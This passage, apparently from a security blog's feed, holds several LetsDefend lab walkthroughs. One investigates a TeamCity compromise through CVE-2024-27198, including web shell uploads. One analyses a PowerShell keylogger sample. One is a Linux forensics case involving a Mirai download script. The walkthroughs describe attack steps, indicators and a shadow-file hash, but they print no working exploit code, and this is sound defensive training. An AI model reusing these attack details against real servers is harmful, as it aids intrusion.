Identifying Docker processes in the Linux.Sys.Pslist.json log

After examining the Ppid value, we can see that the parent process ID is 5123, which corresponds to the dockerd service.

Question 4: What is the docker version that is running the web server?

Okay, now that we understand the web server was running on a Docker container, we can start determining which exploit the web server might’ve been vulnerable to. But first, we need to identify which Docker version was in use.

To do this, we’ll use one of the available Docker-related logs in the results folder: Linux.Applications.Docker.Version.json.

/root/Desktop/ChallengeFile/EDR-LOGs/ip-172-31-29-22-C.e70aef07943d3e45/results/Linux.Applications.Docker.Version.json

Inside this log, we’ll find the version string identifying the Docker version as 26.1.2.

Identifying Docker processes in the Linux.Applications.Docker.Version log

Question 5: What is the IP address of the attacker?

Moving right along! Our next task is to discover the IP address of the attacker. This is a key step in correlating with any other activity performed by the attacker. But first, let’s identify the local IP of the victim web server so we can better understand our environment. For this, we’ll look at the Linux.Network.Netstat.json artifact in the results folder.

By examining the contents of this log, we can determine the LocalAddr of the client the Velociraptor logs were collected from — 172.31.29.22.

Identifying Docker processes in the Linux.Network.Netstat log

Now that we’ve identified the local client IP, we’ll need to examine the network packet captures to uncover the attacker’s IP.

Fortunately, Velociraptor also performs a network traffic capture and saves this data as a PCAP file that can be examined with a tool like Wireshark. We’ll find the CaptureTraffic.pcap file in the directory below. Double-click the file to open it with Wireshark.

/root/Desktop/ChallengeFile/EDR-LOGs/ip-172-31-29-22-C.e70aef07943d3e45/uploads/auto/tmp/CaptureTraffic.pcap

With the PCAP open, we’ll use Wireshark’s Endpoint Statistics view to get a high-level survey of all IP addresses contained within the capture. To access this, press Statistics and then select Endpoints.

Wireshark: Accessing the Endpoint Statistics view

Check the tab labeled IPv4. This shows us that there are 88 host IPs contained in the log — so how do we determine which one belongs to the attacker? For this, we’ll sort by the total number of packets to surface the top traffic endpoints to the top of the list.

Wireshark: Identifying the top traffic endpoints

This method helps us quickly identify the most active IP addresses, which we can then check against external threat intelligence services to search for indicators of malicious activity.

For example, the second entry on the list is an external IP address — 95[.]164[.]9[.]144. This IP is the top external talker. Let’s see what additional information we can find about it.

While there are plenty of excellent threat intelligence services, we’ll use ipinfo.io to get an overview of this IP address and SOC Radar’s IOC Radar to uncover threat intelligence.

Checking IPinfo first, we’ll see that this IP address is part of the Stark-Industries Solutions ASN, a well-known bulletproof hosting provider of VPN and proxy services. That’s already suspicious…

IPinfo: https://ipinfo.io/95.164.9.144?lookup_source=search-bar

Next, checking SOC Radar, we’ll discover that this IP address is also associated with some suspicious activities.

SOCRadar: https://socradar.io/labs/app/ioc-radar/95.164.9.144

For the purposes of our investigation, the combination of the volume of traffic in the network logs, the IP’s ASN, and the threat intelligence verdict is enough to reasonably guess that this is the attacker’s IP. We’ll confirm this through additional activities later.

Question 6: To determine if there are any exploits targeting the server, identify the build version of the web server service. What is the build version?

Now that we’ve identified the attacker’s IP address, it’s time to dig a little deeper into the packet captures to determine what activities were performed. As a starting point, we need to find the build version of the web server service.

From our Endpoint Statistics window in Wireshark, right-click the attacker’s IP address and add it as a filter. This will isolate traffic related to that IP in the Wireshark window. From there, right-click a packet (I used packet number 4040) and select Follow > TCP Stream.

Wireshark: Filtering the attacker’s IP and following the TCP stream

While there’s a ton of information to sift through, we’ll stay focused on Question 6 and look for the build number by using the search box at the bottom of the pane and entering buildnumber.

Wireshark: Discovering the TeamCity server build number

This search brings us directly to a segment that gives us extremely helpful information: the server is a JetBrains TeamCity instance with a build number of 147512.

Question 7: The attacker took advantage of a known exploit to that version of the service. What is the CVE number for the exploit that he used?

From the information we discovered in Question 6, we now have enough evidence to start tying things together and identifying which CVE was exploited.

For background, TeamCity is a CI/CD platform for software development. If we do a quick search for TeamCity Server build 147512, we’ll immediately find dozens of entries discussing exploitation of vulnerable TeamCity servers.

For this walkthrough, I’ll be referencing the excellent blog post from Rapid7:

JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities | Rapid7 Blog _In February 2024, Rapid7’s vulnerability research team identified two new vulnerabilities affecting JetBrains TeamCity…_www.rapid7.com

The Rapid7 post documents some important details related to our investigation.

In February 2024, Rapid7’s vulnerability research team identified two new vulnerabilities affecting JetBrains TeamCity CI/CD server:

CVE-2024€“27198 is an authentication bypass vulnerability in the web component of TeamCity that arises from an alternative path issue (CWE-288) and has a CVSS base score of 9.8 (Critical).

CVE-2024€“27199 is an authentication bypass vulnerability in the web component of TeamCity that arises from a path traversal issue (CWE-22) and has a CVSS base score of 7.3 (High).

Both vulnerabilities are authentication bypass vulnerabilities, the most severe of which, CVE-2024€“27198, allows for a complete compromise of a vulnerable TeamCity server by a remote unauthenticated attacker, including unauthenticated RCE

Given that our server is running build 147512, which falls below the patched version 2023.11.4, and considering the nature of the attack and the volume of traffic observed, it’s highly likely that CVE-2024-27198 was used to compromise the web server.

Question 8: The attacker created multiple usernames and passwords on the service. What is the first username and password created?

We now understand that the TeamCity server was compromised using CVE-2024€“27198 to achieve remote code execution. To answer Question 8, we need to identify specific activities performed by the threat actor — including what user accounts were created.

For this part of the analysis, we’ll jump back into Wireshark and adjust our filter based on new details we discovered from the Rapid7 blog, including the protocol and port exposed by the TeamCity web server:

" # "

TeamCity exposes a web server over HTTP port 8111 by default (and can optionally be configured to run over HTTPS). An attacker can craft a URL such that all authentication checks are avoided, allowing endpoints that are intended to be authenticated to be accessed directly by an unauthenticated attacker. A remote unauthenticated attacker can leverage this to take complete control of a vulnerable TeamCity server.”

Back in Wireshark, let’s apply a filter to focus only on network activity from the attacker’s IP to the exposed port 8111 over http:

tcp.port == 8111 && http && ip.src_host == 95.164.9.144

With our new filters in place, we can scroll through the packets until we stumble upon a POST request to the resource /app/rest/users. This API endpoint appears to be used for user creation.

Selecting the first one we found (packet 4814), we can confirm this as the packet details contain evidence of user creation and password assignment.

Wireshark: Identifying user creation through a POST request

This method provides a reliable way to track user creation at the packet level through HTTP POST requests to the exposed port which we can use to determine the first user created and answer Question 8. Good find!

Question 9: The attacker used the newly created user to upload a web shell. What endpoint was used to upload the web shell?

To answer Question 9, we need to identify the endpoint used to upload a web shell. Referring to the Rapid7 blog again, we learn that another post-exploitation indicator of compromise (IOC) in this attack is the upload of a malicious plugin.

By searching for an endpoint in the Wireshark traffic associated with this activity, we can determine which one was used. Scrolling through the packets, we stumble on packet 4939, which is an HTTP POST request to the /admin/pluginUpload.html endpoint — this seems to be the likely answer.

Wireshark: Finding evidence of an upload endpoint

Based on the evidence, it seems that this endpoint is used to manage TeamCity plugins and that the attacker’s web shell is disguised as a plugin.

Question 10: The attacker uploaded a web shell using the newly created user. What is the full URL of the uploaded web shell?

Now that we’ve identified the endpoint the web shell was uploaded to, we need to determine the full URL of the web shell itself. You may have noticed in Question 9 that the packet details included a filename: 5z6p8kCA.zip.

Wireshark: Identifying the web shell filename

Let’s get more information by following the TCP stream for the packet we found in the previous question (4939). Once in the TCP stream window, search for the filename of the web shell. We’ll see a POST request referring to a .jsp plugin with the same name.

Wireshark: Identifying the resource path of the uploaded web shell

From this, we can infer the full URL of the uploaded web shell:

http://18.159.50.167:8111/plugins/5z6p8kCA/5z6p8kCA.jsp

Question 11: The attacker created another user named 41m67llo and uploaded another web shell. What is the name of the ZIP file that was uploaded?

We’re closing in on the end of our investigation and are provided with an extremely helpful detail that’ll help us identify the second web shell quickly — the username 41m67llo.

Since we already have this detail, we can leverage Wireshark’s string search function to quickly locate the first packet containing this username, which lets us examine the TCP stream.

First, press the magnifying glass icon above the filter box. Then select Packet Details to search the packet details pane. Finally, change the search type to String and enter the username.

Wireshark: Locating the provided username in the packet details

The search brings us to packet 6553 — you know the drill, follow the TCP stream:

Wireshark: Following the TCP stream for the identified user

Once inside the TCP stream window, we’ll use the search function again to look for the string "upload" since we’re looking for another web shell upload. This reveals the filename of the second web shell: V5HwJgS3.zip.

Wireshark: Locating the second web shell in the TCP stream

Question 12: The attacker created a file on the system containing some text. What is the text inside that file?

On to our final objective — discovering a text file left behind by the attacker. To do this, we’ll continue working in the same TCP stream window we used in the last question, this time searching for .txt, since that’s the most likely plain text format used.

Once we run the search, we’ll see a command using echo to pipe the attacker’s message into a file named file.txt.

To make the message more readable, we can remove some of the URL encoding. A quick way to do this is to use the Wireshark string search again for a recognizable string from the message (like "BUDD") in the main Wireshark window, now that we understand the context.

This takes us to the corresponding packet where we can see the command and the text piped into the file. Well, that’s a sobering message to read! This confirms that our TeamCity server was compromised and under the attacker’s control.

Conclusion:

Mission Complete!

How fun was that! A huge thank you to LetsDefend for providing another awesome challenge.

This scenario gave us the opportunity to walk through a full TeamCity server compromise: from initial log review to uncovering attacker behavior and identifying post-exploitation artifacts. By leveraging Velociraptor’s collection capabilities, analyzing the packet captures with Wireshark, then correlating the evidence with external threat intelligence, we were able to piece together a timeline of events that started with an unauthenticated exploit and ended with multiple web shells and a notice of pwnage left on the system.

The attacker’s use of CVE-2024€“27198 to bypass authentication and gain remote code execution on a vulnerable TeamCity server is a stark reminder of the importance of timely patching.

I chose this challenge to get more familiar with Velociraptor, and I didn’t realize going in that we wouldn’t be using the GUI interface to perform the investigation. I was a little caught off guard, but found it really interesting and valuable to learn how the offline collector works and what artifacts are available from this mode — maybe not the lesson I was looking for initially, but it ended up pretty cool.

I always enjoy trying to determine what specific vulnerability may have been exploited based on the available evidence. So often in vulnerability management, the focus is on prevention — so it’s interesting when it turns into a challenge of detection. Awesome stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/velociraptor

Velociraptor: https://docs.velociraptor.app/

Velociraptor — Triage and acquisition: https://docs.velociraptor.app/docs/offline_triage/

Velociraptor — client_info: https://docs.velociraptor.app/vql_reference/server/client_info/

Velociraptor — flows: https://docs.velociraptor.app/docs/gui/debugging/client/client_flows/

Wireshark: https://www.wireshark.org/

IPinfo.io: https://ipinfo.io/95.164.9.144?lookup_source=search-bar

**Krebs on Security " # "

Stark Industries Solutions: An Iron Hammer in the Cloud" ** : https://krebsonsecurity.com/2024/05/stark-industries-solutions-an-iron-hammer-in-the-cloud/

SOCRadar - IOC Radar: https://socradar.io/labs/app/ioc-radar/95.164.9.144

**Rapid7 — " # "

CVE-2024€“27198 and CVE-2024€“27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)" :** https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/

National Vulnerability Database — CVE-2024€“27198: https://nvd.nist.gov/vuln/detail/cve-2024-27198

LetsDefend — PowerShell Keylogger Challenge Walkthrough

Sun, 20 Jul 2025 00:00:00 +0000

LetsDefend — PowerShell Keylogger Challenge Walkthrough

Investigating a PowerShell Malware Sample With Notepad++.

Image Credit: https://app.letsdefend.io/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide to the PowerShell Keylogger challenge from LetsDefend, you’re in the right place. This challenge is a great introduction to analyzing PowerShell-based malware, and it gives us a chance to flex our manual analysis skills. Let’s check out the scenario:

Challenge Scenario:

You are a malware analyst investigating a suspected PowerShell malware sample. The malware is designed to establish a connection with a remote server, execute various commands, and potentially exfiltrate data. Your goal is to analyze the malware’s functionality and determine its capabilities.

Pretty straightforward, right? Analyze the sample, figure out what it can do. But what’s in our toolkit for this investigation? We’re going full manual here — all we need is a trusty text editor like Notepad++. As we work through the script, we’ll also do some light external research to make sure we’re seeing the full picture.

Sounds like fun, right? Let’s get into it!

Thanks for reading and going on this investigation with me!

Question 1: What is the proxy port used by the script?

Alright, let’s kick off our investigation and dig into the PowerShell malware sample. First, open the ChallengeFile folder and extract the sample.7z archive, which contains the cha sample file.

Overview of the ChallengeFile folder

Since we know this is a malicious PowerShell script, we can begin our analysis by looking at the strings within the script to determine what it does. One approach is to simply open the script with a text editor to view the contents. For this walkthrough, I’ll be using Notepad++, but there are many other options — the choice is yours!

Once we have the sample opened in Notepad++, we’ll see some defined parameters, which is a great way to ease into the analysis. To answer Question 1, turn your attention to Line 5.

Identifying the proxy port used by the script

We can see the $proxyPort variable declared with the value of [9050](https://whatportis.com/search/9050), indicating that this is the port used by the proxy server. According to WhatPortIs, port 9050 is the Tor SOCKS proxy port used by the Tor network, which is commonly used for anonymous browsing. This tells us that the malware is likely attempting to obfuscate its traffic by routing through Tor and hiding out on the dark web.

Question 2: What function-method is used for starting keylogging?

The next thing we’re going to search for is the name of the keylogging function within the script. In the real world, it’s a good idea to read through the script in its entirety to build out an understanding of the whole thing, but for the purposes of this challenge, we’re looking for something specific.

So, to speed things up, we can leverage the Find function in Notepad++ and search for the keyword "keylogger".

Check out Line 94:

Identifying the keylogger function in the script

Here we can see the line function Start-Keylogger, which indicates that this is the name of the function containing the keylogging module.

Question 3: What is the name of the file used by the script to store the keylog data?

Now that we’ve identified the keylogger function, our next task is to determine which file the collected data is stored in. Keep digging through the keylogging function we discovered earlier.

Identifying the keylog storage file in the script

As we scroll down the lines, everything might not make sense right away — but on Line 134, we’ll stumble on the AppendAllText operation that writes the input to a file: keylog.txt.

This is an important artifact to discover because we could use it to help determine what keystroke data was captured and potentially exfiltrated by the malware.

Question 4: What command is used by the script to achieve persistence?

Moving right along, the next object we need to identify is the persistence mechanism used by the malware. If we search through the script, we’ll find a clue on Line 245, where we see a conditional check:

$command -eq “persist”

This line is paired with a translated comment that reads: “the logic of persistence here if necessary.”

Identifying the persistence command in the script

Now, malware comments aren’t exactly the most reliable source of truth — but in this case, they’re actually helpful. Despite the mention of persistence, it doesn’t appear that any actual persistence module is weaponized in this sample.

Question 5: What is the command used by the script to upload data?

The next command we need to locate is the one used to upload data. We can find a clue on Line 215, which references an upload: command.

Identifying the upload command in the script

While we probably already figured this out, the presence of an upload mechanism suggests that this script supports some method to exfiltrate data from a victim environment.

Question 6: What is the regex used by the script to filter IP addresses?

Okay, time to shift gears a little. The next thing we need to find is the regex the script uses to filter specific IP addresses. While it might seem like some kind of IT magic, regex is essentially a way to define patterns or sequences and match those in a data set.

On Line 86, we’ll find an example using the Get-NetIPAddress function, which is used to enumerate the IP address configuration on the victim’s system.

Identifying the IP filtering regex in the script

Importantly for Question 6, look at the -nomatch argument and the pattern next to it — this is the regex we’re looking for:

^(127.|169.254.)

This means the pattern is used to exclude IP addresses that match strings typically associated with local or non-routable addresses, and don’t offer much tactical value to an attacker trying to gather information about a network.

127. is commonly used for loopback addresses like 127.0.0.1
169.254. is used for link-local addresses assigned when DHCP fails

Question 7: What is the DLL imported by the script to call keylogging APIs?

To answer this one, we need to identify the DLL the script imports to access the APIs used by the keylogger.

Jump back to Line 94, where we first found evidence of the keylogger. If we keep reading through the function, we’ll see that on lines 99, 101, 103, and 105, the script imports user32.dll.

Identifying the DLLImport in the script

This DLL is part of Windows and is used to access functions like GetAsyncKeyState (Line 119) to monitor keystrokes.

Question 8: How many seconds does the script wait before re-establishing a connection?

We’ve made it to the final question! This time, we need to determine the waiting period the script uses to re-establish a connection to the attacker’s command and control server.

Let’s start with something easy and search for the keyword "Seconds". There are several wait period commands (Start-Sleep), so we’ll need to identify the correct one.

Identifying the Start-Sleep values in the script

Which one to choose? Fortunately, we have some handy comment lines to guide us — though they’re in French. A quick translation using something like Google Translate gives us:

Attendre avant de tenter une reconnexion = Wait before attempting to reconnect Attendre avant de redÃ©marrer complÃ¨tement = Wait before restarting completely

While it might seem like “reconnect"is the right match for “re-establishing"the connection, the value we’re actually looking for is the second one on Line 276. This line pauses the Establish-Connection function in the event of an error, ensuring the script tries again after a delay of 60 seconds.

Identifying the Start-Sleep value in the script

This pause helps maintain persistence by giving the script time to recover and reattempt communication with the C2 infrastructure. Now that we’ve identified the correct Start-Sleep value, it’s time to wrap up this investigation!

Bonus (Optional):

Let’s embark on a short side quest to enrich our findings and put everything together. Why not check an online malware analysis platform like VirusTotal to see if this sample has been submitted before?

To do this, we’ll collect the file hash of the cha sample by opening PowerShell within the LetsDefend VM and navigating to the ChallengeFile directory.

Then, use the Get-FileHash command to grab the SHA256 hash of the file:

PowerShell: Grabbing the script’s file hash

181fe99c16fa6cc87a3161bc08a9e2dbd17531c7d713b09d8567c1b3debe121f

Next, open your browser and head to https://www.virustotal.com, then paste the SHA256 hash into the search bar.

VirusTotal: Overview of the sample’s results

From here, we can confirm our findings and dig into the additional context provided by VirusTotal’s analysis and community. The purpose of this exercise is to gain some experience and offer a different perspective to assist in triage — not to replace the manual analysis skills we flexed in this challenge.

In the real world, time, pressure, experience, and obfuscation are all factors that can detract from hands-on analysis. Knowing when to leverage additional tools can make all the difference.

Quest completed!

Conclusion:

Challenge completed! By using Notepad++ to analyze the malware sample, we were able to determine that we’re looking at a PowerShell keylogger capable of capturing, collecting, and exfiltrating data from a victim’s device. Yikes!

As we worked through the investigation, we uncovered how the malware operates and what optional modules it could weaponize. To confirm our findings, we turned to VirusTotal for additional context. With all the pieces in place, it’s time to write up our report and close out our investigation. Nice Job!

A big thank you to LetsDefend for another engaging challenge. This one was especially fun to work through — while it’s simple enough to answer the guided questions, it invites a much deeper investigation to fully understand what the malware is doing and what it’s capable of. I always like to keep script analysis challenges in the rotation because each one is a little different and offers a great learning experience every time.

While we wrapped up with VirusTotal, I still believe manual analysis skills are fundamental. They help build real working knowledge and prepare us to respond effectively during incident response. Awesome stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/powershell-keylogger

Notepad++: https://notepad-plus-plus.org/

WhatPortIs — 9050: Search Network Ports | WhatPortIs — Network Port Database

MITRE ATT&CK — TA0003 — Persistence: https://attack.mitre.org/tactics/TA0003/

Microsoft Learn — Get-NetIPAddress: https://learn.microsoft.com/en-us/powershell/module/nettcpip/get-netipaddress?view=windowsserver2025-ps

VirusTotal — Sample: https://www.virustotal.com/gui/file/181fe99c16fa6cc87a3161bc08a9e2dbd17531c7d713b09d8567c1b3debe121f

LetsDefend — Linux Forensics Challenge Walkthrough

Sun, 13 Jul 2025 00:00:00 +0000

LetsDefend — Linux Forensics Challenge Walkthrough

A Linux DFIR Challenge Using Built-In Logs.

Image Credit: https://app.letsdefend.io/challenge/linux-forensics

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide to the Linux Forensics challenge from LetsDefend, you’re in the right spot. This challenge is a fantastic introduction to digital forensics and incident response (DFIR) on Linux and provides a solid foundational overview of some of the commonly used logs.

But first, let’s check out the scenario below:

Challenge Scenario:

An ex-employee, who appears to hold a grudge against their former boss, is displaying suspicious behavior. We seek assistance in uncovering their intentions or plans.

Image file location: /home/analyst/hackerman.7z

Yikes — not good! But we have our orders: investigate the ex-employee’s workstation and search for evidence of how the user was planning to retaliate against their boss. Got it.

To perform this investigation, we’re learning hands-on and doing everything manually. We’ll be leveraging tools built into Linux and scouring the available logging to understand the activities of the former employee and figure out what their plans were.

Sounds like fun, right? Let’s get into it!

Thanks for reading and going on this investigation with me!

Question 1: What is the MD5 hash of the image?

This challenge gives us two options for accessing the challenge file: either through the LetsDefend virtual machine via your web browser, or by directly downloading the image file. For this walkthrough, I’ll be using the LetsDefend virtual machine, which is Linux-based, and a great way to maintain a safe environment for our analysis.

So, let’s kick off this investigation by launching the virtual machine and navigating to the location of the image file in the /home/analyst directory. Go ahead and extract the hackerman.7z file, which contains the disk image file: hackerman.img.

LetsDefend VM: Navigating to the location of the challenge file

To answer Question 1, we need to determine the MD5 file hash of hackerman.img. We can do that using the following command from the terminal:

md5sum hackerman.img

Terminal: Determining the MD5 hash

6be42bac99e0fff42ca9467b035859a3

This command calculates the MD5 hash value of the file — which is exactly what we need to answer the first question!

Question 2: What is the SHA256 hash of the file in the " # "

hackerman" desktop?

To start digging into the image file, we need to first mount it so we can explore its contents. We’ll use kpartx to mount the image and create a device map, which auto-mounts and appears like an attached drive in the file manager.

Open the terminal and run the following command. The -a flag mounts all partitions, and -v gives us verbose output. In this example, I’ve launched the terminal from within the /home/analyst folder:

kpartx -av hackerman.img

LetsDefend VM: Using kpartx in the terminal and finding the mounted volume

Once the partitions are mapped, navigate to the hackerman user’s desktop within the mounted volume.

LetsDefend VM: Identifying the file in the hackerman desktop

Now that we see the super hackery image, we need to collect the file hash — this time using SHA256 instead of MD5. We can do that with the sha256sum command:

sha256sum hackerman.jpeg

3c76e6c36c18ea881e3a681baa51822141c5bdbfef73c8f33c25ce62ea341246

Question 3: What command did the user use to install Google Chrome?

Now that we have access to the contents of the disk image, we can start investigating the attacker’s actions. One extremely robust and common source of forensic artifacts on Linux is the .bash_history file. This file stores the commands run within the shell or terminal, making it extremely valuable for user behavior context.

To view the history within the mounted volume, open a terminal in the /home/hackerman folder and use the cat command to print the contents of the .bash_history file:

cat .bash_history

Identifying the Chrome installation command within the .bash_history

The output will display in ascending order, with the oldest commands appearing first. Scanning through the commands run by hackerman, we can see near the bottom that they downloaded the Chrome installer package and installed it using [dpkg](https://manpages.ubuntu.com/manpages/jammy/en/man1/dpkg.1.html):

sudo dpkg -i google-chrome-stable_current_amd64.deb

Keep this terminal window handy — we’ll reference it several more times throughout our investigation…

Question 4: When was the Gimp app installed? Answer format: yyyy-mm-dd hh:mm:ss

To answer Question 4, we’ll search another valuable artifact: the history.log file. This log contains entries from the apt package manager, including installation commands and timestamps.

You can access the history.log file from the mounted file system by navigating to:

/media/root//var/log/apt/history.log

You can read this file from the terminal using cat, or open it with a text editor. For illustrative purposes, I’ve opened the log in the Mousepad text editor on the VM and used the Find function to search for "gimp". This takes us directly to the logged line:

Commandline: apt install gimp

Identifying the Gimp installation in history.log

Just above that line, you’ll find the corresponding timestamp we need within the Start-Date field.

Question 5: What is the hidden secret that the attacker believes they have successfully concealed in a secret file?

Our next task is to examine the contents of a “secret"file. Remember how I mentioned we’d need the contents of the .bash_history file again? Let’s refer back to the output we explored in Question 3.

Take a look at the commands for our clue. The attacker, hackerman, first uses the cd ~ command to navigate to their home directory, and then uses the touch command to create the .secrets file, and then nano .secrets to edit it within the Nano text editor. Let’s see what’s inside!

Identifying the .secrets file within the .bash_history

cat .secrets

Revealing the contents of the .secrets file

Using the cat command, we can display the contents of the “secret"file for some insight into the attacker’s motives. Nice!

Question 6: What was the UUID of the main root volume?

Next stop on our investigation is to determine the Universally Unique Identifier (UUID) of the main root volume. That might sound a bit complicated, but the good news is — we’ve already done the hard part.

A UUID is a unique identifier used to distinguish storage devices and file systems. It’s the same mechanism that allowed us to mount the hackerman.img file earlier in the challenge. That image has a UUID, and it’s how we’re identifying and navigating the file system.

So, the UUID for the main root volume is the string of numbers we identified in the device path:

29153a2e-48a7-4e89-a844-dfa637a5d461

Identifying the UUID within the terminal path

Identifying the UUID within the files window

Question 7: How many privileged commands did the user run?

We’re closing in on the halfway point! For the next question, we need to determine the number of privileged commands run by the hackerman user. For this objective, we can leverage another log — auth.log. This file contains the system’s authentication events, including commands elevated using [sudo](https://manpages.ubuntu.com/manpages/jammy/en/man8/sudo.8.html) or [pkexec](https://manpages.ubuntu.com/manpages/jammy/en/man1/pkexec.1.html).

To start, let’s open auth.log and look for patterns involving sudo and pkexec under the hackerman user account. The log can be found at:

/media/root/29153a2e-48a7-4e89-a844-dfa637a5d461/var/log/auth.log

Auth.log: Identifying a sample of privileged command execution

Inside auth.log, we can single out a few commands (see the above screenshot) that match what we’re looking for. The presence of these events in the logs indicates that hackerman ran the command with elevated privileges:

[sudo](https://manpages.ubuntu.com/manpages/jammy/en/man8/sudo.8.html) is used to execute commands with superuser privileges.
[pkexec](https://manpages.ubuntu.com/manpages/jammy/en/man1/pkexec.1.html) is part of the PolicyKit framework and allows a user to execute a command as another user (root in this case).

So, putting this all together and keeping it simple: we can see a pattern in how the username is displayed with each command type — hackerman: for sudo and hackerman : for pkexec. We’re going to pull out all of the lines matching this format by running a pattern match with grep for both.

This will help us identify all the privileged commands executed by the attacker. To make it even easier, we can add wc -l at the end to get a line count and save ourselves the headache. I’ve demonstrated the command with and without it below:

cat auth.log | grep -e “hackerman:” - “hackerman :” | wc -l

Using grep to identify all privileged commands in auth.log

Question 8: What is the last thing the user searches for in the installed browser?

Remember back in Question 3 when we learned that hackerman installed Google Chrome? It’s reasonable to assume that this browser was also used during the attack, so let’s check out the browser cache artifacts located at:

/home/hackerman/.config/google-chrome/Default/

From here, we’ll focus on analyzing the History database, which holds logs of the searches performed in Chrome.

LetsDefend VM: The location of the Chrome History database

But how do we open it? Here’s a little problem — the History file is a SQLite database, and the LetsDefend environment doesn’t have internet access and doesn’t have a SQLite database browser built in either.

Maybe we can try a simple hack: use cat to open the database in the terminal and look for any readable strings. Only one way to find out if it works! Open the terminal in the directory and run the command below:

cat History

Identifying a search string within the Chrome History database

Well, it isn’t pretty — but if you scroll through the output, you can make out the last string searched at the bottom of the log. Pay close attention to the spelling of downlowad (sic) in the string.

Question 9: From Q8 we know that the user tried to write a script, what is the script name that the user wrote?

It looks like hackerman is still learning his tradecraft, and our next task is to identify the malicious script they wrote. Fortunately, we’ve already stumbled on a clue back in Question 3…

Maybe it stuck out to you when we were reviewing the .bash_history file, but take another look—do you notice the second logged command? A shell script (.sh) file was created using the touch command:

superhackingscript.sh

Identifying superhackingscript.sh within the .bash_history

Let’s jump down to the next question to determine the contents of this script — and whether it’s a super-hacking script, indeed!

Question 10: What is the URL that the user uses to download the malware?

To locate the script’s directory, we can open the terminal and use the find command to search for the file by name:

find /media/root/29153a2e-48a7-4e89-a844-dfa637a5d461/ -name “superhackingscript.sh”

Bingo! We can see it’s located in the /tmp directory. Now all we need to do is cat the file to check out its contents:

cat /media/root/29153a2e-48a7-4e89-a844-dfa637a5d461/tmp/superhackingscript.sh

Identifying the malicious URL within superhackingscript.sh

With a conveniently placed comment line, we can see the URL hosting the supermalware — er, malware.

Question 11: What is the name of the malware that the user tried to download?

Conveniently, we also have a destination variable declared within superhackingscript.sh. This is the path where the curl command writes the downloaded file—but it doesn’t look quite like a typical file name, does it? It looks more like a file hash, similar to what we identified back in Questions 1 and 2:

Identifying the malicious file hash within superhackingscript.sh

ed6baf485cde6e94caa8326b91d323dbc53af58e954520ee55fed80b044c1985

Let’s check if this is a known file hash by pivoting out to the online malware sharing and analysis platform, VirusTotal. Copy the hash from the script and open your browser, navigating to: https://www.virustotal.com

Once there, paste the hash into the search bar and let’s see what we find:

VirusTotal: Identifying the family label for the malware file hash

Right away, we can see that this sample has been submitted to the platform before, and more than half of the antimalware engines that scanned it flagged it as malicious. But to answer Question 11, we’re focused on the “Family label"tags. These tags help us identify the malware family, and in this case, the name of the malware is Mirai.

Question 12: What is the IP address associated with the domain that the user pinged?

Switching gears, our next task is to determine the IP address associated with the mmox.challenges domain that the user pinged. We have evidence of this domain in the .bash_history file, where the user ran the ping command—but take a closer look at the command executed just before that:

Identifying host file and ping activity within the .bash_history

sudo nano /etc/hosts

This tells us that the attacker modified the hosts file, which is used to create manual IP-to-hostname mappings. Since the hosts file is checked before DNS resolution, any manual entry here would override the actual DNS record. If hackerman made a modification, the domain could be mapped to attacker-controlled infrastructure.

So, our next stop is to examine the contents of the hosts file. Once again, we can simply cat it to the terminal:

cat /media/root/29153a2e-48a7-4e89-a844-dfa637a5d461/etc/hosts

And there it is: the mmox.challenges domain is mapped to the IP address:

185[.]199[.]111[.]153

Identifying malicious IP association within /etc/hosts

Question 13: What is the password hash of the " # "

hackerman” user?

We’ve made it to the last question, and our final task is to retrieve the password hash for the hackerman user account.

To do this, we need to access the contents of the /etc/shadow file within the mounted image. The /etc/shadow file is one part of the Linux authentication system and contains, among other properties, the password hashes for all user accounts on the system.

For the purposes of our investigation, we can use cat and grep to focus on retrieving the hash for the hackerman user:

cat /media/root/29153a2e-48a7-4e89-a844-dfa637a5d461/etc/shadow | grep “hackerman”

After running the command, we’ll see the line containing the hash displayed.

Identifying the user password hash within /etc/shadow

$y$j9T$71dGsUtM2UGuXod7Z2SME/$NvWYKVfU9fSpnbbQNbTXcxCdGz4skq.CvJUqRxyKGx6

For the scope of this investigation, we only need to copy the first part of the line, which contains the algorithm identifier, salt, and the hash itself — everything before the first : symbol.

Now that we’ve retrieved the password hash, let’s submit our answer and wrap up this investigation. Great work!

Conclusion:

Case closed! Starting with the .bash_history, we were able to identify the actions taken by the employee on the system and uncover clues pointing us to various logs, including: history.log, auth.log, /etc/hosts, and /etc/shadow. Using these logs, we followed the trail to a malicious script used to download malware, identified as Mirai, on VirusTotal. This confirms the former employee was up to no good. It’s time to report our findings and close out our Linux Forensics walkthrough.

A big thank you to LetsDefend for yet another awesome challenge. I chose this one to brush up on my Linux skills. Coming from the Windows world, I’m much more familiar with the forensic artifacts available there. While I jump in and out of Linux for other tasks, I realized I’d never had the opportunity to explore what kinds of artifacts are available — and I wasn’t disappointed! This challenge was a great excuse to spend time digging through logs and researching the Ubuntu man pages to get my hands dirty. Awesome stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/linux-forensics

Ubuntu Man Pages — KPARTX: https://manpages.ubuntu.com/manpages/jammy/en/man8/kpartx.8.html

Ubuntu Man Pages — DPKG: https://manpages.ubuntu.com/manpages/jammy/en/man1/dpkg.1.html

Ubuntu Man Pages — PKEXEC: https://manpages.ubuntu.com/manpages/jammy/en/man1/pkexec.1.html

Ubuntu Man Pages — SUDO: https://manpages.ubuntu.com/manpages/jammy/en/man8/sudo.8.html

VirusTotal (Sample): https://www.virustotal.com/gui/file/ed6baf485cde6e94caa8326b91d323dbc53af58e954520ee55fed80b044c1985

**nixCraft — " # "

Understanding /etc/shadow file format on Linux” — Vivek Gite:** https://www.cyberciti.biz/faq/understanding-etcshadow-file/

LetsDefend — Kernel Exploit Challenge Walkthrough

Sun, 29 Jun 2025 00:00:00 +0000

LetsDefend — Kernel Exploit Challenge Walkthrough

A Linux DFIR Challenge Using Unix-Like Artifacts Collector Logs.

